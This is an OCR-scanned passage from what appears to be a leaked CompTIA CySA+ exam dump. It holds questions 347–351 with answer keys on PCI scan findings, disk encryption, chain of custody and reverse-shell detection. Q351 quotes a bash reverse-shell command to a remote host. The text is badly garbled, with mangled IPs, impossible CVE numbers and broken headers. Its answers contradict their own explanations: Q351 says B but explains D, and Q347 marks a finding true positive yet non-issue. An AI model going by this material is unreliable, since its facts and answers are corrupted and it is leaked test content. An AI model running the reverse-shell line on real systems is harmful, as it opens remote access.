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347. Frage
SIMULATION
The developers recently deployed new code to three web servers. A daily autormated external device scan report shows server
vulnerabilities that are failing itens according to PCI DSS.
Ifthe vulnerability is not valid, the analyst must take the proper steps to get the scan clean.
Ifthe vulnerability is valid, the analyst must remediate the finding,
After reviewing the information provided in the network diagram, select the STEP 2 tab to complete the simulation by selecting the
correct Validation Result and Remediation Action for each server listed using the drop-down options.
Instructions
STEP 1: Review the information provided in the network diagram
STEP 2: Given the scenario, determine which remediation action is required to address the vulnerability.
Ifat any time you would like to bring back the mitial state of the simulation, please select the Reset All button.
Network Diagram

INSTRUCTIONS
The simulation includes 2 steps.

STEP 1: Review the information provided in the newtwork diagram and then move to the STEP 2 tab.
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172.30.0.152 172.30.0.453 192.168.0.103 198.168.0.104

Firewall
92.34.56.108

@ Vulnerablity Scan Reports

Internet.


https://www.zertpruefung.ch/CS0-003_exam.html

Network Diagram

INSTRUCTIONS

STEP 2: Given the scenario, determine which remediation action is required to address the vulnerability

System

WEB_SERVERO1

WEB_SERVERO02

WEB_SERVERO03

Validate Result

Remediation Action
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True Positive
True Negative

Encrypt Entire Session

Encrypt All Session Cookies
Implement Input Validation

Submit as Non-Issue

Employ Unique Token in Hidden Field
Avoid Using Redirects and Forwards
Disable HTTP

Request Certificate from a Public CA
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Vulnerability Scan Report

HIGH SEVERITY
Title:
Description:

Affected Asset:
Risk:

Reference:

Title:
Description:

Affected Asset:
Risk:
Reference:
LOW SEVERITY
Title:

Description:

Affected Asset:
Risk:

Reference:

Cleartext Transmission of Sensitive Information

The software transmits sensitive or securitycritical data in Cleartext
in a communication channel that can be sniffed by authorized users.

172.30.0.15

Anyone can read the information by gaining access to the channel being
used for communication.

CVE-2002-1949

Sensitive Cookie in HTTPS session without fSecure’ Attribute
The Secure attribute forrsensitive cookies in HTTPS sessions is not
set, which could cause the use agent to send those cookies in plaintex

over HTTP session.

172.30.0.152

Session Sidejacking —

CVE - 2004-0462 L

Untrusted SSL/TLS Server X.589 Certificate

The server’s TLS/SSL certificate is signed by a Ertification Authority
that is untrusted or unknown.

172.36.0.153

May allow man-in-the-middle attackers to insert a spoofed certificate
for any Distinguished MName (DN).

CVE-2805-1234




WEB_SERVERD1Logs X

Vnile logged in 1o the web portal (172.30,0.150) from the workslation (192 168 0. 104) you perform an account :::
password change. This process requires you 1o reenter the onginal password and enler a new password hwice
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Accepl textnimi, application/xhimi+xmi applicatonfxmi.q=0.9,"/".q=0

Accepl-Language: en=US eng=0.5

Accepl-Encoding. gzip, deflate

Referer: hitpACOCOUSharedPortaliCustomProfiles/A_Profile real

[truncated] Cookie: ASPSESSIONIDQABRBT BC=HEJCAHEDJPKOSCEP, ZZZ: ECUSERPROPS=
Connection: keep alive

Conlent-Type: application/x-www- form-uriendcoded

Content-Length: 121
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_utmb 250288278.2.10,1383693377 yourcompany.condl, ... Tue, 05 Nov 2013 23:5%280MLS N
_utmc 250288278 Wcmw a3 Session

utmz 250288278.1383693377.). 1 utmcs m:_ompuﬁmm Thu, 08 May 2014 11:21:28 GMT
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R Certificate Information

This CA Root certificate is not trusted. To enable
trust, install this certificate in the Trusted Root
Certification Authorities store.

Issued to: ~PenTestLLC
Issued by:  PenTestLLC

Valid from  22/07/2014 to 22/07/2024

. e =
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Begrindung;

Web Server 01 - True Positive - Encrypt Entire Session

Web Server 02 - True Positive - Submit as a non-issue

Web Server 03 - True Positive - Request Certificate froma Public CA

348. Frage
An organization supports a large number of remote users. Which of the following is the best option to protect the data on the remote
users' laptops?

A. Tnplement a DLP solution.

B. Require enployees to sign an NDA.
C. Use whole disk encryption.

D. Require the use of VPNS.

Antwort: C

Begrindung;

Using whole disk encryption is the best option to protect the data on the remote users' laptops. Whole disk encryption is a technique
that encrypts all data on a hard disk drive, including the operating system, applications and files. Whole disk encryption can prevent
unauthorized access to the data if the laptop is lost, stolen or compromised. Whole disk encryption can also protect the data from
physical attacks, such as removing the hard disk and connecting it to another device .

349. Frage

A company offers a hardware security appliance to customers that provides remote administration of a device on the customer's
network. Customers are not authorized to alter the configuration. The company deployed a software process to manage
unauthorized changes to the appliance log them, and forward themto a central repository for evaluation.

Which of'the following processes is the company using to ensure the appliance is not altered from its original configured state?

A. Software assurance
B. Change management
C. CI/CD

D. Anti-tamper

Antwort: B

350. Frage
Which of'the following is the practice of controlling how evidence is handled to ensure its integrity during an investigation?

A. Evidence collection
B. Incident response
C. Root cause analysis
D. Chain of custody

Antwort: D

Begriindung;
Chain of custody is the documented process that tracks the collection, handling, and storage of evidence to ensure its integrity and
admissibility throughout an investigation.

351. Frage

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i1>& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

e A #!/binbash
nc 10.1.2.3 8080 -vv>dev/null && echo "Malicious activity" Il echo "OK"



e B. #l/bin/bash

netstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
e C. #!/binbash

ps -fea | grep 8080 >dev/mill && echo "Malicious activity" 1| echo "OK"
e D. #!/bin/bash

Is /opt/tcp/10.1.2.3/8080 >dev/mull && echo "Malicious activity" I| echo "OK"

Antwort: B

Begrindung;

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the
remote [P address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active
connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way
to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
Reference

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.

Reverse Shell Cheat Sheet, Bash section.
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